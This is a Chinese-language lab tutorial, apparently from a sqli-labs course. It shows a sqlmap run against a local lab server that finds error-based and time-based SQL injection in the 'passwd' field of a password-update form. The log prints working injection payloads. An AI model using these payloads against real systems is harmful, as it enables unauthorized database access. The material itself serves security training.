

第十七课

知识点只是一个普通点'报错注入而已，后台源码分析是更新密码功能

目录

Sqlmap 梭哈

手工注入

Sqlmap 梭哈

都指定了参数 passwd 都用了 12 分钟还没出数据，当然可以指定—technique E 类型注入 2 分钟出数据。Sqlmap 梭哈没问题了。太他娘的耗时了。等学完这 65 课，发现根本不太想用 sqlmap 了

```
12:07:22 [INFO] target URL content is stable
12:07:25 [INFO] heuristic (basic) test shows that POST parameter 'passwd' might be injectable (possible DBMS: 'MySQL')
12:07:26 [INFO] heuristic (XSS) test shows that POST parameter 'passwd' might be vulnerable to cross-site scripting (XSS) attacks
12:07:26 [INFO] testing for SQL injection on POST parameter 'passwd'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
12:07:28 [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
12:07:36 [WARNING] reflective value(s) found and filtering out
12:07:39 [INFO] testing 'MySQL OR boolean-based blind - WHERE or HAVING clause (original value)'
12:07:41 [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
12:08:25 [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
12:09:03 [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
12:13:35 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:36 [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
12:13:37 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:37 [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
12:13:39 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:39 [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
12:13:41 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:41 [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
12:13:43 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:43 [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
12:13:44 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:45 [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
12:13:47 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:47 [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
12:13:50 [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
12:13:50 [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
12:13:52 [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
12:13:52 [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
12:13:54 [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
12:13:54 [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
12:13:56 [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
12:13:56 [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
12:14:00 [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
12:14:00 [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
12:14:00 [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
12:14:00 [INFO] testing 'MySQL <= 5.0 boolean-based blind - Stacked queries'
12:14:50 [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
12:14:50 [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
12:15:09 [INFO] POST parameter 'passwd' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable
12:15:30 [INFO] testing 'MySQL inline queries'
12:15:31 [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
12:15:32 [INFO] testing 'MySQL > 5.0.11 stacked queries'
12:15:33 [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
12:15:34 [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
12:15:35 [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
12:15:36 [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
12:15:37 [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
12:15:50 [INFO] POST parameter 'passwd' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
12:15:50 [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
12:15:50 [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
12:15:50 [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
12:16:13 [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
```

```
12:17:58 [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
12:18:19 [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
12:18:40 [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
12:19:01 [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
POST parameter 'passwd' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 388 HTTP(s) requests:
---
Parameter: passwd (POST)
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: uname=admin&passwd=1234' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162717171,(SELECT (ELT(7652=7652,1))) ,0x710626b71,0x78))s), 8446
4073709551610)))-- RnMXsSubmit=Submit
---
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin&passwd=1234' AND (SELECT 1411 FROM (SELECT (SLEEP(5)))LVVu)-- vySGsSubmit=Submit
---
[12:19:22] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.18
back-end DBMS: MySQL >= 5.5
[12:19:22] [INFO] fetched data logged to text files under 'C:\Users\Adam\AppData\Local\sqlmap\output\192.168.74.128'
```

手工注入分析

从和后端源码分析，只是一个秘密更新功能。而且存在最简单的错显注入

